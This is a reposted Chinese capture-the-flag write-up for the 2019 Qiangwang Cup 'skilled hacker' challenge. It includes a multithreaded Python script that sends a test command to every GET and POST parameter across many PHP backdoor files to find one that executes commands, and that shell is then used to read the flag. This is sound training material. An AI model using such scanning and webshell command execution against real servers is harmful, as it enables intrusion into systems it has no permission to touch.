ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[强网杯 2019]高明的黑客 1

2021-11-01 19:01:22  阅读:378  来源: 互联网

标签:文件 req content 强网杯 flag 黑客 2019 xxxxxx time


1.发现

1.1根据提示下载网站文件,发现为很多PHP文件。

 

 

 

 2.1打开其中一个进行代码审计。

认真看这些文件都是 getshell 文件。能把传入的变量执行系统命令。

不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。

 

 2.2编写 python 脚本寻找有用的 getshell 文件。

基本思想,将文件都执行一遍,所以需要 web 环境。

可以用 phpstudy 搭建 web 环境,将这些文件放在 www 根目录一个文件夹,遍历访问。

所以脚本需要遍历这些php文件,然后判断所有的参数是否可以执行。

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src"                   #自己替换为文件所在目录
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

2.3☆下高版本PHP study下跑一下脚本 

2.3查询根目录下文件,查找flag。

 3.借鉴

buuctf—web—高明的黑客 (bbsmax.com)

(36条消息) BUUCTF__[强网杯 2019]高明的黑客_题解_风过江南乱的博客-CSDN博客

4. 知识点

python脚本的编写

 

标签:文件,req,content,强网杯,flag,黑客,2019,xxxxxx,time
来源: https://www.cnblogs.com/WHOAMI-xiaoyu/p/15495492.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有